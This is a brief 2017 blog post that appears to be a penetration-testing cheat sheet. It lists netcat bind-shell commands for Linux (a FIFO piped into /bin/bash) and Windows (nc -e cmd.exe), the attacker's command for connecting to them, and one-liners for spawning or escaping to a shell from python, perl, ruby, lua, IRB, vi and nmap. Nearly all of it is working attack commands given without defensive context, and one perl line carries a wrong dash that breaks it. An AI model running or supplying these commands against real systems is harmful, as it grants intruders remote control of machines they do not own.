Sunday, May 7, 2017

Command execution to Shell with Netcat

  • Linux (Host) with netcat
    • $ mkfifo foo
    • nc -lk 2600 0<foo | /bin/bash 1>foo         /*2600 is port*/

    On Attacking Maching: $ nc ip 2600

  • Windows (Host) with netcat
    • nc -nlvp 4444 -e cmd.exe

Shell Spawning


python -c 'import pty; pty.spawn("/bin/sh")'
echo os.system('/bin/bash')
/bin/sh -i
perl —e 'exec "/bin/sh";'
perl: exec "/bin/sh";
ruby: exec "/bin/sh"
lua: os.execute('/bin/sh') 
(From within IRB) exec "/bin/sh" 
(From within vi):!bash 
(From within vi) :set shell=/bin/bash:shell
(From within map) !sh

No comments:

Post a Comment